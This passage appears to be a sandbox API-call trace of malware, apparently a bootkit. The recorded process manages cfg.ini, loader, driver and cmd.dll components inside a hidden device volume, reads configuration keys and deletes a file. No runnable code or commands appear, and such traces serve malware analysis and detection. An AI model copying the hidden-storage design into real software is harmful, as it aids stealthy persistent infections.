(FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.197] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.197] KeLeaveCriticalRegion () [0120.197] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.197] KeEnterCriticalRegion () [0120.197] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.197] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.197] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.197] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.197] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.197] IdePortDispatch () returned 0x103 [0120.197] KeWaitForMutexObject () returned 0x0 [0120.197] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.197] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.197] KeLeaveCriticalRegion () [0120.197] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.197] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.197] KeEnterCriticalRegion () [0120.197] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.197] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003412000 [0120.197] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.197] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.197] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.197] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.197] IdePortDispatch () returned 0x103 [0120.197] KeWaitForMutexObject () returned 0x0 [0120.198] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.198] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.198] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.198] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.198] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.198] IdePortDispatch () returned 0x103 [0120.198] KeWaitForMutexObject () returned 0x0 [0120.198] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.198] KeLeaveCriticalRegion () [0120.198] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.198] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.198] KeEnterCriticalRegion () [0120.198] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.198] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.198] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.198] KeLeaveCriticalRegion () [0120.198] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.199] KeEnterCriticalRegion () [0120.199] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.199] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.199] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcdd20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.199] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.199] KeLeaveCriticalRegion () [0120.199] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.199] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.199] KeEnterCriticalRegion () [0120.199] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.199] ExFreePoolWithTag (P=0xfffffa8003bcd8c0, Tag=0x0) [0120.199] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.199] KeLeaveCriticalRegion () [0120.199] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.199] ReleaseMutex (hMutex=0xf0) returned 1 [0120.199] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0120.199] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0120.199] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0120.199] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.199] KeEnterCriticalRegion () [0120.199] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.199] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.199] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.199] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.199] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.199] IdePortDispatch () returned 0x103 [0120.199] KeWaitForMutexObject () returned 0x0 [0120.199] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.199] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.199] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.199] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.199] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.199] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.199] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.199] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.199] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.199] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.199] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.199] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.200] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.200] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.200] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.200] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.200] KeLeaveCriticalRegion () [0120.200] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.200] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0120.200] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.200] KeEnterCriticalRegion () [0120.200] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.200] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.200] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.200] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.200] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.200] IdePortDispatch () returned 0x103 [0120.200] KeWaitForMutexObject () returned 0x0 [0120.200] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.200] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.200] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.200] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.200] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.200] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.200] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.200] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.200] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.200] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.200] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.200] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.200] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.200] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.200] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.200] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.200] KeLeaveCriticalRegion () [0120.200] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.200] ReleaseMutex (hMutex=0x100) returned 1 [0120.200] Sleep (dwMilliseconds=0x2bf20) [0120.207] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6ad93b90, dwHighDateTime=0x1d24fa4)) [0120.207] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0120.207] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.207] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.207] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.207] KeEnterCriticalRegion () [0120.207] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.207] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.207] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.207] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.207] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.207] IdePortDispatch () returned 0x103 [0120.207] KeWaitForMutexObject () returned 0x0 [0120.207] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.207] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.207] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.207] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.207] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.207] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbcfb0 [0120.207] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.207] KeLeaveCriticalRegion () [0120.207] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.207] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.207] KeEnterCriticalRegion () [0120.207] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.207] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.207] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.207] KeLeaveCriticalRegion () [0120.207] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.207] KeEnterCriticalRegion () [0120.207] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.207] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.207] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.207] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.208] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.208] IdePortDispatch () returned 0x103 [0120.208] KeWaitForMutexObject () returned 0x0 [0120.208] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.208] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.208] KeLeaveCriticalRegion () [0120.208] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.208] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.208] KeEnterCriticalRegion () [0120.208] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.208] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003415000 [0120.208] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.208] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.208] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.208] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.208] IdePortDispatch () returned 0x103 [0120.208] KeWaitForMutexObject () returned 0x0 [0120.208] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.208] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.208] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.208] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.208] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.208] IdePortDispatch () returned 0x103 [0120.209] KeWaitForMutexObject () returned 0x0 [0120.209] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.209] KeLeaveCriticalRegion () [0120.209] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.210] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.210] KeEnterCriticalRegion () [0120.210] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.210] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.210] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.210] KeLeaveCriticalRegion () [0120.210] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.210] KeEnterCriticalRegion () [0120.210] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.210] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.210] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcd380, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.210] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.210] KeLeaveCriticalRegion () [0120.210] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.210] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.210] KeEnterCriticalRegion () [0120.210] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.210] ExFreePoolWithTag (P=0xfffffa8003bbcfb0, Tag=0x0) [0120.210] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.210] KeLeaveCriticalRegion () [0120.210] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.210] ReleaseMutex (hMutex=0xf0) returned 1 [0120.210] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.210] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.210] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.210] KeEnterCriticalRegion () [0120.210] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.210] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.210] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.210] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.210] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.210] IdePortDispatch () returned 0x103 [0120.210] KeWaitForMutexObject () returned 0x0 [0120.211] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.211] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.211] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.211] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.211] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.211] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcda60 [0120.211] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.211] KeLeaveCriticalRegion () [0120.211] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.211] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.211] KeEnterCriticalRegion () [0120.211] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.211] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.211] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.211] KeLeaveCriticalRegion () [0120.211] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.211] KeEnterCriticalRegion () [0120.211] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.211] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.211] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.211] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.211] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.211] IdePortDispatch () returned 0x103 [0120.211] KeWaitForMutexObject () returned 0x0 [0120.211] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.211] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.211] KeLeaveCriticalRegion () [0120.211] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.211] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.211] KeEnterCriticalRegion () [0120.211] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.211] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003416000 [0120.211] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.212] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.212] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.212] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.212] IdePortDispatch () returned 0x103 [0120.212] KeWaitForMutexObject () returned 0x0 [0120.212] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.212] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.212] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.212] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.212] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.212] IdePortDispatch () returned 0x103 [0120.212] KeWaitForMutexObject () returned 0x0 [0120.212] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.212] KeLeaveCriticalRegion () [0120.212] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.213] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.213] KeEnterCriticalRegion () [0120.213] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.213] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.213] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.213] KeLeaveCriticalRegion () [0120.213] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.213] KeEnterCriticalRegion () [0120.213] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.213] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.213] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcdd20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.213] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.213] KeLeaveCriticalRegion () 